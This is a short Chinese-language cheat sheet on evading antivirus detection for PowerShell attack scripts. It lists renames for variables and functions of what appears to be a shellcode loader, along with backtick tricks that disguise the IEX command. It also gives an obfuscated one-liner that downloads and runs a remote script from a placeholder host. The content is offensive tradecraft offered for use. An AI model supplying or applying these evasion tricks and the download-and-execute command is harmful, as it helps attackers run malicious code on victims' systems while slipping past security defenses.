powershell免杀可替换的关键字
关键字可替换
IEX $DoIt -- i`ex $DoIt
IEX $a -- ie`x $a
$var_runme -- $vrunme
$var_buffer -- $vbuffer
func_get_proc_address -- func_k
func_get_delegate_type -- func_l
$var_type_builder -- $vk
$var_parameters -- $vp
$var_return_type-- $ve
$var_procedure -- $v_pro
powershell远程下载
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='11(''http://xxx.com/x.ps1'')'.Replace('11','adString');IEX ($a+$b)"
参考文章:
https://blog.csdn.net/chest_/article/details/112431490